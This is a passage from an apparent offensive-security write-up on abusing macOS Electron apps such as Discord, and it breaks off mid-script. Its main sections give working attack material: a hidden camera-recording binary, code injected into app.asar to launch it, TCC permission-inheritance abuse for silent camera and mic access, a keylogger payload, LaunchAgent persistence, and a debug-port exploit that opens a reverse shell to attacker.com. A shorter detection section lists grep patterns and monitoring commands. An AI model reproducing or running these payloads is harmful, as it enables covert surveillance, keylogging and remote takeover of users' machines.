    <span class="p">[</span><span class="n">NSTimer</span> <span class="n">scheduledTimerWithTimeInterval</span><span class="o">:</span><span class="mi">15</span> <span class="n">target</span><span class="o">:</span><span class="n">self</span> <span class="n">selector</span><span class="o">:</span><span class="err">@</span><span class="n">selector</span><span class="p">(</span><span class="n">stopRecording</span><span class="o">:</span><span class="p">)</span> <span class="n">userInfo</span><span class="o">:</span><span class="n">nil</span> <span class="n">repeats</span><span class="o">:</span><span class="n">NO</span><span class="p">];</span>
<span class="p">}</span>

<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">stopRecording</span><span class="o">:</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">sigNum</span> <span class="p">{</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">videoFileOutput</span> <span class="n">stopRecording</span><span class="p">];</span>
<span class="p">}</span>

<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">captureOutput</span><span class="o">:</span><span class="p">(</span><span class="n">AVCaptureFileOutput</span> <span class="o">*</span><span class="p">)</span><span class="n">captureOutput</span>
<span class="n">didFinishRecordingToOutputFileAtURL</span><span class="o">:</span><span class="p">(</span><span class="n">NSURL</span> <span class="o">*</span><span class="p">)</span><span class="n">outputFileURL</span>
<span class="n">fromConnections</span><span class="o">:</span><span class="p">(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="n">connections</span>
<span class="n">error</span><span class="o">:</span><span class="p">(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">)</span><span class="n">error</span> <span class="p">{</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">stopRunning</span><span class="p">];</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>

<span class="err">@</span><span class="n">end</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="n">VideoSnap</span><span class="o">*</span> <span class="n">vs</span> <span class="o">=</span> <span class="p">[[</span><span class="n">VideoSnap</span> <span class="n">alloc</span><span class="p">]</span> <span class="n">init</span><span class="p">];</span>
    <span class="p">[</span><span class="n">vs</span> <span class="n">record</span><span class="p">];</span>
    <span class="p">[[</span><span class="n">NSRunLoop</span> <span class="n">currentRunLoop</span><span class="p">]</span> <span class="n">run</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>Compile:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-framework</span> Foundation <span class="nt">-framework</span> AVFoundation videocapture.m <span class="nt">-o</span> videocapture
</code></pre></div></div>

<h3 id="injecting-into-source-code">Injecting Into Source Code</h3>

<p><strong>Edit unpack/app_bootstrap/index.js:</strong></p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">"</span><span class="s2">use strict</span><span class="dl">"</span><span class="p">;</span>

<span class="c1">// INJECTED CODE - Add at beginning</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">spawn</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">child_process</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">spawn</span><span class="p">(</span><span class="dl">"</span><span class="s2">/Users/user/videocapture</span><span class="dl">"</span><span class="p">);</span>
<span class="c1">// END INJECTION</span>

<span class="kd">const</span> <span class="p">{</span>
  <span class="nx">app</span>
<span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">electron</span><span class="dl">'</span><span class="p">);</span>
<span class="c1">// ... rest of original code</span>
</code></pre></div></div>

<h3 id="repacking-and-deployment">Repacking and Deployment</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Backup original</span>
<span class="nb">cp</span> /Applications/Discord.app/Contents/Resources/app.asar app.asar.backup

<span class="c"># Repack modified source</span>
npx asar pack unpack app.asar

<span class="c"># Replace original</span>
<span class="nb">cp </span>app.asar /Applications/Discord.app/Contents/Resources/app.asar

<span class="c"># Launch application</span>
open /Applications/Discord.app

<span class="c"># Verify recording</span>
<span class="nb">ls</span> <span class="nt">-l</span> /tmp/spycam.mov
</code></pre></div></div>

<h3 id="alternative-unpacked-source">Alternative: Unpacked Source</h3>

<p>If app doesn’t use .asar:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Source files located directly in Resources/</span>
<span class="nb">ls</span> /Applications/SomeApp.app/Contents/Resources/app/

<span class="c"># Edit main file directly</span>
nano /Applications/SomeApp.app/Contents/Resources/app/main.js

<span class="c"># Add injection code at top of file</span>
</code></pre></div></div>

<hr />

<h2 id="tcc-bypass-techniques">TCC Bypass Techniques</h2>

<h3 id="understanding-tcc-inheritance">Understanding TCC Inheritance</h3>

<p><strong>Key Principle:</strong> Child processes inherit parent’s TCC permissions</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Discord (has camera/mic access)
  └── spawned process (inherits access)
        └── audiocapture binary (records via inheritance)
</code></pre></div></div>

<p><strong>Why User Sees Harmless Prompt:</strong></p>
<ul>
  <li>TCC prompt shows <strong>child binary name</strong> (e.g., “audiocapture”)</li>
  <li>User thinks: “Some helper tool needs mic access”</li>
  <li>Doesn’t realize it’s being exploited via Discord</li>
</ul>

<h3 id="sandbox-profile-inheritance">Sandbox Profile Inheritance</h3>

<p><strong>From Terminal:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Bad: Inherits Terminal's sandbox</span>
<span class="nv">ELECTRON_RUN_AS_NODE</span><span class="o">=</span>1 /Applications/Discord.app/Contents/MacOS/Discord
<span class="c"># Prompt: "Terminal would like to access the microphone"</span>
</code></pre></div></div>

<p><strong>From LaunchD:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Good: Uses Discord's sandbox</span>
launchctl load launchdiscord.plist
<span class="c"># Prompt: "Discord would like to access the microphone"</span>

</code></pre></div></div>

<h3 id="complete-tcc-bypass-flow">Complete TCC Bypass Flow</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. User launches Discord (first time)
   └── Gatekeeper performs full signature check
   └── User grants camera/mic permissions to Discord

2. Attacker modifies app.asar
   └── Injects spawn() call to recording binary

3. User launches Discord (subsequent times)
   └── AMFI only checks executable code (passes)
   └── Modified JavaScript executes
   └── Spawns recording binary
   └── Binary inherits Discord's TCC permissions
   └── Records audio/video without new prompts
</code></pre></div></div>

<h3 id="tcc-database-inspection">TCC Database Inspection</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># View TCC database</span>
<span class="nb">sudo </span>sqlite3 /Library/Application<span class="se">\ </span>Support/com.apple.TCC/TCC.db <span class="s2">"SELECT * FROM access WHERE service='kTCCServiceMicrophone';"</span>

<span class="c"># Reset TCC for Discord</span>
tccutil reset Microphone com.hnc.Discord
tccutil reset Camera com.hnc.Discord
</code></pre></div></div>

<h2 id="attack-surface-overview">Attack Surface Overview</h2>

<p>Electron applications expose multiple attack vectors for code injection and privilege abuse:</p>

<table>
  <thead>
    <tr>
      <th>Attack Vector</th>
      <th>Prerequisites</th>
      <th>Detection Difficulty</th>
      <th>Impact</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Environment Variable Injection</td>
      <td><code class="language-plaintext highlighter-rouge">ELECTRON_RUN_AS_NODE</code> not disabled</td>
      <td>Low</td>
      <td>Full Node.js REPL access</td>
    </tr>
    <tr>
      <td>Debug Port Injection</td>
      <td><code class="language-plaintext highlighter-rouge">--inspect</code> flag available</td>
      <td>Medium</td>
      <td>Remote code execution via WebSocket</td>
    </tr>
    <tr>
      <td>Source Code Modification</td>
      <td>Write access to app.asar or Resources/</td>
      <td>Medium-High</td>
      <td>Persistent code execution</td>
    </tr>
    <tr>
      <td>LaunchAgent Abuse</td>
      <td>User-level file write</td>
      <td>Low</td>
      <td>TCC bypass via process inheritance</td>
    </tr>
    <tr>
      <td>Fuse Bypass</td>
      <td>Older Electron versions</td>
      <td>Medium</td>
      <td>All injection methods enabled</td>
    </tr>
    <tr>
      <td>TCC Inheritance Abuse</td>
      <td>Parent app has TCC permissions</td>
      <td>Very High</td>
      <td>Silent camera/mic access</td>
    </tr>
    <tr>
      <td>ASAR Integrity Bypass</td>
      <td>No runtime hash verification</td>
      <td>High</td>
      <td>Undetected code modification</td>
    </tr>
  </tbody>
</table>

<h3 id="vulnerability-conditions-table-1">Vulnerability Conditions Table</h3>

<table>
  <thead>
    <tr>
      <th>Condition</th>
      <th>Attack Type</th>
      <th>Exploitable When</th>
      <th>Impact</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ELECTRON_RUN_AS_NODE</code> enabled</td>
      <td>Environment injection</td>
      <td>Fuses not configured or old Electron</td>
      <td>Full Node.js access with app’s privileges</td>
    </tr>
    <tr>
      <td>Debug flags accepted</td>
      <td>Debug port injection</td>
      <td><code class="language-plaintext highlighter-rouge">--inspect</code> or <code class="language-plaintext highlighter-rouge">--remote-debugging-port</code> works</td>
      <td>Remote code execution</td>
    </tr>
    <tr>
      <td>app.asar writable</td>
      <td>Source modification</td>
      <td>User has write permissions after first launch</td>
      <td>Persistent backdoor in JavaScript code</td>
    </tr>
    <tr>
      <td>No integrity checks</td>
      <td>ASAR tampering</td>
      <td>Runtime doesn’t verify SHA-256/512 hash</td>
      <td>Undetected malicious code injection</td>
    </tr>
    <tr>
      <td>TCC permissions granted</td>
      <td>Permission inheritance</td>
      <td>Child processes inherit parent TCC</td>
      <td>Silent camera/mic/contacts access</td>
    </tr>
    <tr>
      <td>LaunchAgent directory writable</td>
      <td>Persistence</td>
      <td><code class="language-plaintext highlighter-rouge">~/Library/LaunchAgents/</code> accessible</td>
      <td>Execution on login/load</td>
    </tr>
    <tr>
      <td>Unpacked source files</td>
      <td>Direct file modification</td>
      <td>No .asar archive used</td>
      <td>Edit .js files directly</td>
    </tr>
    <tr>
      <td>Gatekeeper runs once</td>
      <td>Post-launch modification</td>
      <td>After first signature check</td>
      <td>Non-executable code changes allowed</td>
    </tr>
    <tr>
      <td>Hardened runtime enabled</td>
      <td>Traditional injection blocked</td>
      <td>Prevents dylib injection</td>
      <td>Forces Electron-specific techniques</td>
    </tr>
  </tbody>
</table>

<h2 id="detection-methods-1">Detection Methods</h2>

<h4 id="1-static-analysis---application-inspection">1. Static Analysis - Application Inspection</h4>

<p><strong>Check Fuse Configuration:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Dump fuses from binary</span>
strings /Applications/Discord.app/Contents/MacOS/Discord | <span class="nb">grep</span> <span class="nt">-A5</span> <span class="nt">-B5</span> <span class="s2">"dL7pKGdnNz"</span>

<span class="c"># Check for RunAsNode fuse (should be disabled)</span>
<span class="c"># Byte pattern: 0x30 (disabled) or 0x31 (enabled)</span>

<span class="c"># Alternative: Check with electron-fuses tool</span>
npm <span class="nb">install</span> <span class="nt">-g</span> @electron/fuses
npx electron-fuses <span class="nb">read</span> /Applications/Discord.app/Contents/MacOS/Discord
</code></pre></div></div>

<p><strong>Verify ASAR Integrity:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Check if Info.plist contains integrity hash</span>
/usr/libexec/PlistBuddy <span class="nt">-c</span> <span class="s2">"Print :ElectronAsarIntegrity"</span> <span class="se">\</span>
  /Applications/Discord.app/Contents/Info.plist

<span class="c"># Calculate actual hash</span>
shasum <span class="nt">-a</span> 256 /Applications/Discord.app/Contents/Resources/app.asar

<span class="c"># Compare with expected</span>
</code></pre></div></div>

<p><strong>Inspect Launch Constraints:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Check for debug-related launch arguments</span>
ps aux | <span class="nb">grep</span> <span class="nt">-i</span> electron | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s1">'(inspect|remote-debugging)'</span>

<span class="c"># Review LaunchAgents for suspicious environment variables</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"ELECTRON_RUN_AS_NODE"</span> ~/Library/LaunchAgents/
</code></pre></div></div>

<p><strong>Code Review Indicators:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Extract and search for suspicious patterns</span>
npx asar extract app.asar extracted/

<span class="c"># Search for spawn/exec calls</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"spawn</span><span class="se">\|</span><span class="s2">exec</span><span class="se">\|</span><span class="s2">eval"</span> extracted/ <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.js"</span>

<span class="c"># Check for external script loading</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"require.*http</span><span class="se">\|</span><span class="s2">fetch.*</span><span class="se">\.</span><span class="s2">js"</span> extracted/ <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.js"</span>
</code></pre></div></div>

<h4 id="2-dynamic-analysis---runtime-monitoring">2. Dynamic Analysis - Runtime Monitoring</h4>

<p><strong>Monitor Process Creation:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Use sudo execsnoop to watch child processes</span>
<span class="nb">sudo </span>execsnoop <span class="nt">-n</span> Discord

<span class="c"># Output shows spawned binaries:</span>
<span class="c"># PCOMM: Discord</span>
<span class="c"># PID: 1234 PPID: 1 RET: 0  ARGS: /Users/user/audiocapture</span>

<span class="c"># fswatch to detect asar modifications</span>
fswatch <span class="nt">-0</span> /Applications/Discord.app/Contents/Resources/app.asar | <span class="se">\</span>
  xargs <span class="nt">-0</span> <span class="nt">-n</span> 1 <span class="nt">-I</span> <span class="o">{}</span> <span class="nb">echo</span> <span class="s2">"ASAR modified: {}"</span>
</code></pre></div></div>

<p><strong>Network Connection Monitoring:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Detect debug port listeners</span>
lsof <span class="nt">-iTCP</span> <span class="nt">-sTCP</span>:LISTEN | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s1">'(9229|9230)'</span>

<span class="c"># Output:</span>
<span class="c"># Discord  1234 user  10u  IPv4 0x... TCP localhost:9229 (LISTEN)</span>

<span class="c"># Monitor WebSocket connections to debug port</span>
tcpdump <span class="nt">-i</span> lo0 <span class="nt">-A</span> <span class="s1">'tcp port 9229'</span>
</code></pre></div></div>

<p><strong>TCC Database Monitoring:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Watch for TCC changes</span>
<span class="nb">sudo </span>fs_usage <span class="nt">-w</span> <span class="nt">-f</span> filesys | <span class="nb">grep </span>TCC.db

<span class="c"># Query for unusual child process permissions</span>
<span class="nb">sudo </span>sqlite3 /Library/Application<span class="se">\ </span>Support/com.apple.TCC/TCC.db <span class="se">\</span>
  <span class="s2">"SELECT service, client, auth_value FROM access WHERE client LIKE '%audiocapture%';"</span>
</code></pre></div></div>

<p><strong>LaunchAgent Monitoring:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Monitor LaunchAgent directory</span>
fswatch ~/Library/LaunchAgents/ | <span class="k">while </span><span class="nb">read </span>file<span class="p">;</span> <span class="k">do
    </span><span class="nb">echo</span> <span class="s2">"LaunchAgent modified: </span><span class="nv">$file</span><span class="s2">"</span>
    <span class="nb">grep</span> <span class="nt">-l</span> <span class="s2">"ELECTRON_RUN_AS_NODE"</span> <span class="s2">"</span><span class="nv">$file</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="nb">echo</span> <span class="s2">"ALERT: Electron injection detected"</span>
<span class="k">done</span>
</code></pre></div></div>

<h4 id="3-code-review-detection-1">3. Code Review Detection</h4>

<p><strong>JavaScript Injection Patterns:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Suspicious patterns in main process code:</span>

<span class="c1">// 1. Dynamic require with user input</span>
<span class="kd">const</span> <span class="nx">module</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="nx">userInput</span><span class="p">);</span>  <span class="c1">// DANGEROUS</span>

<span class="c1">// 2. Eval/Function constructor</span>
<span class="nb">eval</span><span class="p">(</span><span class="nx">externalData</span><span class="p">);</span>
<span class="k">new</span> <span class="nb">Function</span><span class="p">(</span><span class="nx">externalData</span><span class="p">)();</span>

<span class="c1">// 3. Child process creation in main process</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">spawn</span><span class="p">,</span> <span class="nx">exec</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">spawn</span><span class="p">(</span><span class="nx">untrustedPath</span><span class="p">);</span>  <span class="c1">// Check if path is validated</span>

<span class="c1">// 4. File writes to sensitive locations</span>
<span class="nx">fs</span><span class="p">.</span><span class="nx">writeFileSync</span><span class="p">(</span><span class="dl">'</span><span class="s1">~/.zshrc</span><span class="dl">'</span><span class="p">,</span> <span class="nx">maliciousCode</span><span class="p">);</span>

<span class="c1">// 5. IPC without validation</span>
<span class="nx">ipcMain</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">arbitrary-command</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">event</span><span class="p">,</span> <span class="nx">cmd</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">exec</span><span class="p">(</span><span class="nx">cmd</span><span class="p">);</span>  <span class="c1">// NO VALIDATION</span>
<span class="p">});</span>
</code></pre></div></div>

<p><strong>LaunchAgent PLIST Indicators:</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!-- Red flags in PLIST files: --&gt;</span>

<span class="c">&lt;!-- 1. ELECTRON_RUN_AS_NODE set --&gt;</span>
<span class="nt">&lt;key&gt;</span>EnvironmentVariables<span class="nt">&lt;/key&gt;</span>
<span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>ELECTRON_RUN_AS_NODE<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;string&gt;</span>true<span class="nt">&lt;/string&gt;</span>  <span class="c">&lt;!-- SUSPICIOUS --&gt;</span>
<span class="nt">&lt;/dict&gt;</span>

<span class="c">&lt;!-- 2. -e flag with inline code --&gt;</span>
<span class="nt">&lt;array&gt;</span>
    <span class="nt">&lt;string&gt;</span>/Applications/Discord.app/Contents/MacOS/Discord<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;string&gt;</span>-e<span class="nt">&lt;/string&gt;</span>  <span class="c">&lt;!-- Inline evaluation --&gt;</span>
    <span class="nt">&lt;string&gt;</span>require("child_process").spawn(...)<span class="nt">&lt;/string&gt;</span>
<span class="nt">&lt;/array&gt;</span>

<span class="c">&lt;!-- 3. Debug flags --&gt;</span>
<span class="nt">&lt;array&gt;</span>
    <span class="nt">&lt;string&gt;</span>--inspect<span class="nt">&lt;/string&gt;</span>  <span class="c">&lt;!-- Debug mode enabled --&gt;</span>
    <span class="nt">&lt;string&gt;</span>--inspect-brk<span class="nt">&lt;/string&gt;</span>
<span class="nt">&lt;/array&gt;</span>
</code></pre></div></div>

<h2 id="exploitation-methods-1">Exploitation Methods</h2>

<h4 id="method-1-electron_run_as_node-repl-access">Method 1: ELECTRON_RUN_AS_NODE REPL Access</h4>

<p><strong>When to Use:</strong></p>
<ul>
  <li>Target app doesn’t have fuses configured</li>
  <li>Need interactive Node.js access</li>
  <li>Testing TCC inheritance quickly</li>
</ul>

<p><strong>Execution:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Basic REPL access</span>
<span class="nv">ELECTRON_RUN_AS_NODE</span><span class="o">=</span>1 /Applications/Discord.app/Contents/MacOS/Discord

<span class="c"># Execute inline code</span>
<span class="nv">ELECTRON_RUN_AS_NODE</span><span class="o">=</span>1 /Applications/Discord.app/Contents/MacOS/Discord <span class="se">\</span>
  <span class="nt">-e</span> <span class="s2">"console.log(require('os').userInfo())"</span>

<span class="c"># Spawn child with inherited TCC</span>
<span class="nv">ELECTRON_RUN_AS_NODE</span><span class="o">=</span>1 /Applications/Discord.app/Contents/MacOS/Discord <span class="se">\</span>
  <span class="nt">-e</span> <span class="s2">"require('child_process').spawn('/Users/user/payload')"</span>
</code></pre></div></div>

<p><strong>Advanced Payload - Keylogger:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// keylogger.js - Run via ELECTRON_RUN_AS_NODE</span>
<span class="kd">const</span> <span class="nx">ioHook</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">iohook</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">logFile</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">/tmp/.keylog</span><span class="dl">'</span><span class="p">;</span>

<span class="nx">ioHook</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">keypress</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="s2">`</span><span class="p">${</span><span class="k">new</span> <span class="nb">Date</span><span class="p">().</span><span class="nx">toISOString</span><span class="p">()}</span><span class="s2">: </span><span class="p">${</span><span class="nx">event</span><span class="p">.</span><span class="nx">rawcode</span><span class="p">}</span><span class="s2">\n`</span><span class="p">;</span>
    <span class="nx">fs</span><span class="p">.</span><span class="nx">appendFileSync</span><span class="p">(</span><span class="nx">logFile</span><span class="p">,</span> <span class="nx">data</span><span class="p">);</span>
<span class="p">});</span>

<span class="nx">ioHook</span><span class="p">.</span><span class="nx">start</span><span class="p">();</span>
</code></pre></div></div>

<p><strong>Execution:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">ELECTRON_RUN_AS_NODE</span><span class="o">=</span>1 /Applications/Discord.app/Contents/MacOS/Discord keylogger.js
</code></pre></div></div>

<h4 id="method-2-debug-port-remote-code-execution">Method 2: Debug Port Remote Code Execution</h4>

<p><strong>When to Use:</strong></p>
<ul>
  <li>Target accepts <code class="language-plaintext highlighter-rouge">--inspect</code> flag</li>
  <li>Remote access preferred over local REPL</li>
  <li>Multi-step exploitation needed</li>
</ul>

<p><strong>Start Debug Session:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Launch with debug port</span>
/Applications/Discord.app/Contents/MacOS/Discord <span class="nt">--inspect</span><span class="o">=</span>9229

<span class="c"># Via LaunchAgent for persistence</span>
<span class="nb">cat</span> <span class="o">&gt;</span> ~/Library/LaunchAgents/com.app.debug.plist <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;
&lt;plist version="1.0"&gt;
&lt;dict&gt;
    &lt;key&gt;Label&lt;/key&gt;
    &lt;string&gt;com.app.debug&lt;/string&gt;
    &lt;key&gt;ProgramArguments&lt;/key&gt;
    &lt;array&gt;
        &lt;string&gt;/Applications/Discord.app/Contents/MacOS/Discord&lt;/string&gt;
        &lt;string&gt;--inspect=9229&lt;/string&gt;
    &lt;/array&gt;
    &lt;key&gt;RunAtLoad&lt;/key&gt;
    &lt;true/&gt;
&lt;/dict&gt;
&lt;/plist&gt;
</span><span class="no">EOF

</span>launchctl load ~/Library/LaunchAgents/com.app.debug.plist
</code></pre></div></div>

<p><strong>WebSocket Exploitation:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// exploit-debug.js</span>
<span class="kd">const</span> <span class="nx">WebSocket</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">ws</span><span class="dl">'</span><span class="p">);</span>

<span class="c1">// Get debug UUID</span>
<span class="kd">const</span> <span class="nx">http</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">http</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">http</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://127.0.0.1:9229/json</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">let</span> <span class="nx">data</span> <span class="o">=</span> <span class="dl">''</span><span class="p">;</span>
    <span class="nx">res</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">data</span><span class="dl">'</span><span class="p">,</span> <span class="nx">chunk</span> <span class="o">=&gt;</span> <span class="nx">data</span> <span class="o">+=</span> <span class="nx">chunk</span><span class="p">);</span>
    <span class="nx">res</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">end</span><span class="dl">'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="kd">const</span> <span class="nx">info</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">data</span><span class="p">)[</span><span class="mi">0</span><span class="p">];</span>
        <span class="kd">const</span> <span class="nx">wsUrl</span> <span class="o">=</span> <span class="nx">info</span><span class="p">.</span><span class="nx">webSocketDebuggerUrl</span><span class="p">;</span>

        <span class="c1">// Connect to debugger</span>
        <span class="kd">const</span> <span class="nx">ws</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebSocket</span><span class="p">(</span><span class="nx">wsUrl</span><span class="p">);</span>

        <span class="nx">ws</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">open</span><span class="dl">'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
            <span class="c1">// Execute reverse shell</span>
            <span class="kd">const</span> <span class="nx">payload</span> <span class="o">=</span> <span class="p">{</span>
                <span class="na">id</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
                <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Runtime.evaluate</span><span class="dl">'</span><span class="p">,</span>
                <span class="na">params</span><span class="p">:</span> <span class="p">{</span>
                    <span class="na">expression</span><span class="p">:</span> <span class="s2">`
                        const { spawn } = require('child_process');
                        spawn('bash', ['-c', 'bash -i &gt;&amp; /dev/tcp/attacker.com/4444 0&gt;&amp;1']);
                    `</span>
                <span class="p">}</span>
            <span class="p">};</span>
            <span class="nx">ws</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">payload</span><span class="p">));</span>
        <span class="p">});</span>
    <span class="p">});</span>
<span class="p">});</span>
</code></pre></div></div>

<h4 id="method-3-asar-archive-modification">Method 3: ASAR Archive Modification</h4>

<p><strong>When to Use:</strong></p>
<ul>
  <li>Need persistent code execution</li>
  <li>User has write access to app bundle</li>
  <li>App has no integrity verification</li>
</ul>

<p><strong>Extraction and Analysis:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Extract ASAR</span>
npm <span class="nb">install</span> <span class="nt">-g</span> asar
npx asar extract /Applications/Discord.app/Contents/Resources/app.asar extracted/

<span class="c"># Find entry point</span>
<span class="nb">cat </span>extracted/package.json | <span class="nb">grep</span> <span class="s1">'"main"'</span>
<span class="c"># Output: "main": "app_bootstrap/index.js"</span>

<span class="c"># Locate renderer process files</span>
find extracted/ <span class="nt">-name</span> <span class="s2">"index.html"</span> <span class="nt">-o</span> <span class="nt">-name</span> <span class="s2">"preload.js"</span>
</code></pre></div></div>

<p><strong>Injection Strategy:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// extracted/app_bootstrap/index.js - Add at top</span>

<span class="kd">const</span> <span class="p">{</span> <span class="nx">spawn</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">os</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">os</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">path</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">path</span><span class="dl">'</span><span class="p">);</span>

<span class="c1">// Payload location</span>
